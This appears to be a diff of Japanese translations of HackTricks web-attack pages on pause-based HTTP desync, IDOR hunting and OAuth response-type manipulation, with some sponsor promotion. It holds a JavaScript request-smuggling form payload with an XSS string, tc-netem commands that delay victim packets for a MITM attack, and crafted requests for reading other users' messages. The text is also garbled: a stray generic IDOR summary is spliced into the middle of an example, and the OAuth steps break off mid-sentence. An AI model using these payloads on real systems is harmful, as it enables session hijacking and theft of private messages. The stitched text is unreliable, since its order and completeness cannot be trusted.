||||
|
||||
### 例: **Apache**
|
||||
|
||||
Varnishと同様に、サーバーがアプリケーションにリクエストを処理させるのではなく、**自身でレスポンスを生成するエンドポイント**で脆弱です。これが起こる一つの方法は、サーバーレベルのリダイレクトです：`Redirect 301 / /en`
|
||||
|
||||
### サーバーサイドの悪用 <a href="#server" id="server"></a>
|
||||
|
||||
脆弱なサーバー（この場合はApacheまたはVarnish）がバックエンドにある場合、フロントエンドはリクエストボディ全体をバッファリングせずにバックエンドサーバーにリクエスト（この場合はhttpヘッダー）を**ストリーミングする**必要があります。
|
||||
|
||||
 (3).png>)
|
||||
|
||||
この場合、攻撃者はボディを送信するまでレスポンスタイムアウトを受け取りません。しかし、タイムアウトを知っていれば問題にはなりません。
|
||||
|
||||
AmazonのApplication Load Balancer（ALB）は必要に応じて接続のデータを**ストリーミングします**が、ボディを受け取る**前に**半分のリクエスト（タイムアウト）に対する**レスポンス**を**受け取る**と、ボディを**送信しません**ので、ここでは**Race Condition**を悪用する必要があります：
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ALBの背後にある**Apacheを悪用する**際にはさらなる複雑さがあります - **両方のサーバー**にはデフォルトで**60秒のタイムアウト**があります。これはリクエストの第二部を送信するための**非常に短い時間窓**を残します。RC攻撃は最終的に66時間後に成功しました。
|
||||
|
||||
### MITM悪用
|
||||
|
||||
ブラウザからのリクエストを停止してポーズデシンクの脆弱性を悪用することは**不可能**のようです。しかし、ブラウザによって送信されたリクエストを一時停止するために**MITM攻撃を実行する**ことは常に可能です。この攻撃は、トラフィックを**復号化することに依存しません**。
|
||||
|
||||
攻撃の流れは、リクエストのパディングを除いて、通常のクライアントサイドデシンク攻撃に非常に**似ています**。ユーザーは攻撃者がコントロールするページを訪れ、対象アプリケーションに対して一連の**クロスドメインリクエスト**を発行します。**最初のHTTP**リクエストは意図的に大きくパディングされており、オペレーティングシステムが複数のTCPパケットに分割するほど**大きい**ため、アクティブな**MITMが最終パケットを遅延させる**ことができ、ポーズベースのデシンクをトリガーします。パディングにより、**攻撃者**は**サイズ**に基づいてどの**パケットを一時停止するかを識別**できます。
|
||||
|
||||
クライアント側からは、HEADガジェットを使用した通常のクライアントサイドデシンクと同じように見えますが、リクエストのパディングが異なります：
|
||||
```javascript
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.enctype = 'text/plain'
|
||||
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
||||
let input = document.createElement('input')
|
||||
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
||||
input.value = "x"
|
||||
form.append(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
```
|
||||
攻撃者システムでのブラインドMITMを実行する際、遅延はtc-NetEmを使用して実装されました：
|
||||
```bash
|
||||
# Setup
|
||||
tc qdisc add dev eth0 root handle 1: prio priomap
|
||||
|
||||
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
||||
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
||||
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
||||
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
||||
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
||||
flowid 1:3
|
||||
|
||||
# Delay flagged packets by 61 seconds
|
||||
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||||
```
|
||||
## **参考文献**
|
||||
|
||||
* この投稿の情報はすべて [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) から取得しました。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または **HackTricksをPDFでダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) を**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
|
||||
</details>
|
||||
**[https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)** からの投稿をチェックしてください。
|
||||
|
|
|
|||
|
|
@ -1,146 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
- **あなたはサイバーセキュリティ会社で働いていますか？** **HackTricksであなたの会社を宣伝**したいですか？または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**投稿元** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
|
||||
# IDORを見つけるための予想外の場所 <a href="#8d15" id="8d15"></a>
|
||||
|
||||
## エンコードされたIDとハッシュ化されたIDを無視しないでください <a href="#d6ce" id="d6ce"></a>
|
||||
|
||||
エンコードされたIDがある場合、一般的なエンコーディング方式を使用してエンコードされたIDをデコードすることができるかもしれません。
|
||||
|
||||
そして、アプリケーションがハッシュ化/ランダム化されたIDを使用している場合、そのIDが予測可能かどうかを確認してください。アプリケーションが不十分なエントロピーを生成するアルゴリズムを使用している場合、慎重な分析の後、実際に予測できるIDが生成されることがあります。この場合、いくつかのアカウントを作成して、これらのIDがどのように作成されるかを分析してみてください。他のユーザーに属するIDを予測することができるパターンを見つけることができるかもしれません。
|
||||
|
||||
さらに、他のAPIエンドポイント、アプリケーション内の他の公開ページ（他のユーザーのプロフィールページなど）、またはリファラーを介したURLでランダムまたはハッシュ化されたIDを漏洩させることができるかもしれません。
|
||||
|
||||
例えば、私は以前、ハッシュ化された会話IDを介して詳細なダイレクトメッセージを取得することができるAPIエンドポイントを見つけました。リクエストは次のようになります：
|
||||
```
|
||||
GET /api_v1/messages?conversation_id=SOME_RANDOM_ID
|
||||
```
|
||||
最初は問題なさそうです。なぜなら、_conversation\_id_は長いランダムな英数字のシーケンスだからです。しかし、後で気づいたのですが、実際にはユーザーIDを使用することで、各ユーザーの会話リストを見つけることができます！
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
これにより、そのユーザーに所属する_conversation\_ids_のリストが返されます。そして、_user\_id_は各ユーザーのプロフィールページで公開されています。したがって、ユーザーのプロフィールページで彼らの_user\_id_を取得し、それに所属する_conversation\_ids_のリストを取得し、最後にAPIエンドポイント/api\_v1/messagesを介してメッセージを読み込むことで、任意のユーザーのメッセージを読むことができます。
|
||||
|
||||
## 推測できない場合は、作成してみてください <a href="#b54f" id="b54f"></a>
|
||||
|
||||
オブジェクト参照IDが予測不能な場合、オブジェクトIDの作成またはリンクプロセスを操作できるかどうかを確認してください。
|
||||
|
||||
## アプリケーションにIDを提供する <a href="#9292" id="9292"></a>
|
||||
|
||||
アプリケーション生成のリクエストでIDが使用されていない場合、リクエストに追加してみてください。_id, user\_id, message\_id_または他のオブジェクト参照パラメータを追加して、アプリケーションの動作に違いがあるかどうかを確認してください。
|
||||
|
||||
例えば、このリクエストはすべてのダイレクトメッセージを表示します：
|
||||
```
|
||||
GET /api_v1/messages
|
||||
```
|
||||
これについてはどうですか？別のユーザーのメッセージが表示されますか？
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
## HPP（HTTPパラメータ汚染）<a href="#cb9a" id="cb9a"></a>
|
||||
|
||||
HPPの脆弱性（同じパラメータに複数の値を提供する）もIDORにつながる可能性があります。アプリケーションは、ユーザーが同じパラメータに複数の値を送信することを予期していないかもしれません。そのようにすることで、エンドポイントに設定されたアクセス制御を回避することができるかもしれません。
|
||||
|
||||
これは珍しいことのように思われますし、私はこれが起こったことを見たことがありませんが、理論的には次のようになります。もし、このリクエストが失敗する場合：
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/pentesting-web/idor.mdというファイルからのものです。
|
||||
|
||||
## IDOR (Insecure Direct Object Reference)
|
||||
|
||||
IDOR（Insecure Direct Object Reference）は、アプリケーションのセキュリティ上の脆弱性の一つです。この脆弱性は、アプリケーションが直接オブジェクトへの参照を許可している場合に発生します。攻撃者は、他のユーザーのデータにアクセスしたり、機能を悪用したりすることができます。
|
||||
|
||||
### IDORの検出方法
|
||||
|
||||
IDORを検出するためには、以下の手法を使用することができます。
|
||||
|
||||
1. ユーザーのアカウントやデータに関連するIDを特定します。
|
||||
2. ユーザーのIDを変更して、他のユーザーのデータにアクセスできるかどうかを確認します。
|
||||
3. リクエストパラメータやURLのパスにIDを変更して、他のユーザーのデータにアクセスできるかどうかを確認します。
|
||||
|
||||
### IDORの悪用方法
|
||||
|
||||
IDORを悪用することで、以下のような攻撃が可能になります。
|
||||
|
||||
1. 他のユーザーの個人情報や機密データにアクセスする。
|
||||
2. 他のユーザーのアカウントを操作したり、権限を昇格させたりする。
|
||||
3. アプリケーションの機能を悪用して、不正な操作を行う。
|
||||
|
||||
### IDORの防止方法
|
||||
|
||||
IDORを防止するためには、以下の対策を実施することが重要です。
|
||||
|
||||
1. セッションやアクセス制御を適切に実装する。
|
||||
2. ユーザーのデータへの直接参照を避ける。
|
||||
3. ユーザーのアクセス権限を適切に管理する。
|
||||
4. リクエストのバリデーションやエスケープ処理を行う。
|
||||
|
||||
以上がIDORに関する基本的な情報です。この脆弱性を理解し、適切な対策を実施することで、アプリケーションのセキュリティを向上させることができます。
|
||||
```
|
||||
GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
または、これ:
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID
|
||||
```
|
||||
または、パラメータをリストとして提供します：
|
||||
```
|
||||
GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID
|
||||
```
|
||||
## 盲目的IDORs <a href="#7639" id="7639"></a>
|
||||
|
||||
時にはIDORに対して脆弱なエンドポイントは、直接漏洩情報を返さないことがあります。代わりに、エクスポートファイル、メール、そしてテキストアラートなど、他の場所でアプリケーションが情報を漏洩させる可能性があります。
|
||||
|
||||
## リクエストメソッドの変更 <a href="#6597" id="6597"></a>
|
||||
|
||||
1つのリクエストメソッドが機能しない場合、代わりに試すことができる多くの他のメソッドがあります。GET、POST、PUT、DELETE、PATCHなど...
|
||||
|
||||
よく効く一般的なトリックは、POSTをPUTに置き換えるか、その逆を試すことです。同じアクセス制御が実装されていない可能性があります！
|
||||
|
||||
## 要求されたファイルタイプの変更 <a href="#8f78" id="8f78"></a>
|
||||
|
||||
時には、要求されたファイルのファイルタイプを切り替えることで、サーバーが認可を異なる方法で処理する可能性があります。例えば、リクエストURLの末尾に.jsonを追加してみて、何が起こるか確認してみてください。
|
||||
|
||||
# IDORの影響を増やす方法 <a href="#45b0" id="45b0"></a>
|
||||
|
||||
## まずは重要なIDOR <a href="#71f7" id="71f7"></a>
|
||||
|
||||
常に重要な機能でのIDORを探してください。書き込みベースのIDORと読み取りベースのIDORの両方が高い影響を持つ可能性があります。
|
||||
|
||||
状態を変更する（書き込み）IDORの場合、パスワードリセット、パスワード変更、アカウントの回復などが最もビジネスへの影響が大きい場合があります。（例えば、「メールの購読設定の変更」のIDORと比較して）
|
||||
|
||||
読み取り専用（読み取り）IDORの場合、アプリケーション内で機密情報を処理する機能を探してください。例えば、ダイレクトメッセージ、機密ユーザー情報、プライベートコンテンツを処理する機能を探してください。この情報を使用するアプリケーションの機能を考慮し、それに応じたIDORを探してください。
|
||||
|
||||
**投稿をチェック: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか？** **HackTricksであなたの会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,707 +1,27 @@
|
|||
# OAuth - ハッピーパス、XSS、iframe、およびポストメッセージを使用してコードと状態の値を漏洩させる
|
||||
# OAuth - ハッピーパス、XSS、Iframes＆ポストメッセージを使用してコードと状態値を漏洩させる
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで企業を宣伝**したいですか？または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* [**公式PEASS＆HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**このコンテンツは** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url) **から取得されました。**
|
||||
|
||||
## 異なるOAuthダンスの説明
|
||||
|
||||
### レスポンスタイプ
|
||||
|
||||
まず、OAuthダンスで使用できる異なるレスポンスタイプがあります。これらのレスポンスは、**ユーザーとしてログインするためのトークンまたは必要な情報を付与**します。
|
||||
|
||||
最も一般的な3つは次のとおりです。
|
||||
|
||||
1. **`code` + `state`**。 **コード**は、OAuthプロバイダーをサーバーサイドで呼び出してトークンを取得するために使用されます。 **state**パラメータは、**正しいユーザーが呼び出しを行っていることを検証するために使用**されます。サーバーサイドの呼び出しを行う前に、OAuthクライアントは状態パラメータを検証する責任があります。
|
||||
2. **`id_token`**。 OAuthプロバイダーの公開証明書を使用して署名されたJSON Web Token **(JWT)**を使用して、提供されたアイデンティティが実際に主張されているものであることを検証します。
|
||||
3. **`token`**。 サービスプロバイダーのAPIで使用される**アクセストークン**です。
|
||||
|
||||
### レスポンスモード
|
||||
|
||||
OAuthダンスでウェブサイトにコードまたはトークンを提供するために使用できる異なるモードがあります。以下は最も一般的な4つです。
|
||||
|
||||
1. **Query**。ウェブサイトにリダイレクトバックするためにクエリパラメータを送信します（`https://example.com/callback?code=xxx&state=xxx`）。 `code+state`に使用されます。 **コード**は**1回だけ使用**でき、コードを使用する場合は**OAuthクライアントシークレット**が必要です。
|
||||
1. [このモードはトークンには推奨されていません](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token)。**トークンは複数回使用できず、サーバーログなどに保存されるべきではありません**。ほとんどのOAuthプロバイダーは、トークンではなくコードに対してこのモードをサポートしていません。例：
|
||||
* Appleは`response_mode=query`を使用します。
|
||||
* GoogleまたはFacebookは`response_type=code`を使用します。
|
||||
2. **Fragment**。**フラグメントリダイレクト**を使用します（`https://example.com/callback#access_token=xxx`）。このモードでは、URLのフラグメント部分はサーバーログに表示されず、JavaScriptを使用してクライアントサイドでのみアクセスできます。このレスポンスモードはトークンに使用されます。例：
|
||||
* AppleとMicrosoftは`response_mode=fragment`を使用します。
|
||||
* Google、Facebook、Atlassianなどは`response_type`に`id_token`または`token`を含めます。
|
||||
3. **Webメッセージ**。**ウェブサイトの固定されたオリジンにpostMessageを使用**します：\
|
||||
`postMessage('{"access_token":"xxx"}','https://example.com')`\
|
||||
サポートされている場合、さまざまなレスポンスタイプによく使用できます。例：
|
||||
* Appleは`response_mode=web_message`を使用します。
|
||||
* Googleは`redirect_uri=storagerelay://...`を使用します。
|
||||
* Facebookは`redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...`を使用します。
|
||||
4. **Form-post**。有効な`redirect_uri`にフォームポストを使用し、**ウェブサイトに通常のPOSTリクエストを送信**します。これはコードとトークンに使用できます。例：
|
||||
* Appleは`response_mode=form_post`を使用します。
|
||||
* Google Sign-In（GSI）は`ux_mode=redirect&login_uri=https://example.com/callback`を使用します。
|
||||
|
||||
## `state`を意図的に破壊する <a href="#break-state-intentionally" id="break-state-intentionally"></a>
|
||||
|
||||
OAuth仕様では、`state`パラメータを`response_type=code`と組み合わせて使用することを推奨しています。これにより、フローを開始したユーザーがOAuthダンス後にコードを使用するユーザーであることが確認されます。
|
||||
|
||||
ただし、**`state`の値が無効な場合**、**`code`は消費されません**。なぜなら、最終的なウェブサイトが状態を検証する責任があるからです。つまり、攻撃者が有効な`state`を持つ被害者にログインフローリンクを送信できれば、OAuthダンスは被害者に対して失敗し、`code`はOAuthプロバイダーに送信されません。ただし、攻撃者がそれを取得できれば、コードは使用可能です。
|
||||
|
||||
1. 攻撃者は「Xでサインイン」というウェブサイトでサインインフローを開始します。
|
||||
2. 攻撃者は`state`の値を使用して、被害者がOAuthプロバイダーでサインインするためのリンクを構築しますが、
|
||||
### レスポンスタイプ/レスポンスモードの切り替え
|
||||
|
||||
OAuthダンスのレスポンスタイプまたはレスポンスモードを変更すると、コードやトークンがウェブサイトにどのように送信されるかが変わり、予期しない動作が発生することがあります。私はOAuthプロバイダーがウェブサイトがサポートするレスポンスタイプやモードを制限するオプションを持っているのを見たことがありません。そのため、OAuthプロバイダーによっては、ノンハッピーパスに到達するために少なくとも2つ以上のレスポンスタイプを変更できることがよくあります。
|
||||
|
||||
また、複数のレスポンスタイプをリクエストすることも可能です。[複数のレスポンスタイプがリクエストされた場合に、リダイレクトURIに値を提供する方法が説明されている仕様](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding)があります。
|
||||
|
||||
> もし、リクエストで`response_type`がクエリ文字列内で完全にエンコードされたデータの返却を要求する値のみを含む場合、この複数の値を持つ`response_type`に対するレスポンスの返却データは、クエリ文字列内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。
|
||||
>
|
||||
> もし、リクエストで`response_type`がフラグメント内で完全にエンコードされたデータの返却を要求する値を含む場合、この複数の値を持つ`response_type`に対するレスポンスの返却データは、フラグメント内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。
|
||||
|
||||
この仕様が正しく守られている場合、ウェブサイトに`code`パラメータを送信することができますが、同時に`id_token`も要求する場合、`code`パラメータはクエリ文字列ではなくフラグメントの一部として送信されます。
|
||||
|
||||
Googleのサインインの場合、以下のことを意味します：
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
次に、`https://example.com/callback?code=xxx&state=yyy` にリダイレクトされます。しかし、以下のような問題があります:
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code,id_token&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
`https://example.com/callback#code=xxx&state=yyy&id_token=zzz` にリダイレクトされます。
|
||||
|
||||
同じ考え方は、Appleを使用する場合も適用されます。
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code&
|
||||
response_mode=query&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
以下のURLにリダイレクトされます：`https://example.com/callback?code=xxx&state=yyy`、ただし：
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code+id_token&
|
||||
response_mode=fragment&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
あなたを`https://example.com/callback#code=xxx&state=yyy&id_token=zzz`にリダイレクトします。
|
||||
|
||||
## ハッピーでないパス
|
||||
|
||||
研究の著者は、**OAuth経由でユーザーがリダイレクトされる間違ったURLへのノンハッピーなパス**を呼びました。これは、クライアントにトークンと有効な状態+コードが提供された場合でも、**期待されるページに到達しない**場合、その**情報は適切に消費されない**ため、攻撃者が「ノンハッピーなパス」からその情報を**漏洩**する方法を見つけると、**アカウントを乗っ取る**ことができます。
|
||||
|
||||
デフォルトでは、OAuthフローは期待されるパスに到達しますが、いくつかの潜在的な**設定ミス**があるかもしれません。これにより、攻撃者が特定の初期OAuthリクエストを作成し、**ユーザーがログイン後にノンハッピーなパスに到達する**ことができます。
|
||||
|
||||
### リダイレクトURIの不一致
|
||||
|
||||
これらの「一般的な」**設定ミス**は、OAuth通信の**リダイレクトURL**で見つかりました。
|
||||
|
||||
[**仕様**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1)は厳密に、リダイレクトURLは定義されたURLと厳密に比較されるべきであり、ポートの変更以外の変更は許可されないことを示しています。しかし、一部のエンドポイントでは、いくつかの変更が許可されていました。
|
||||
|
||||
### リダイレクトURIパスの追加
|
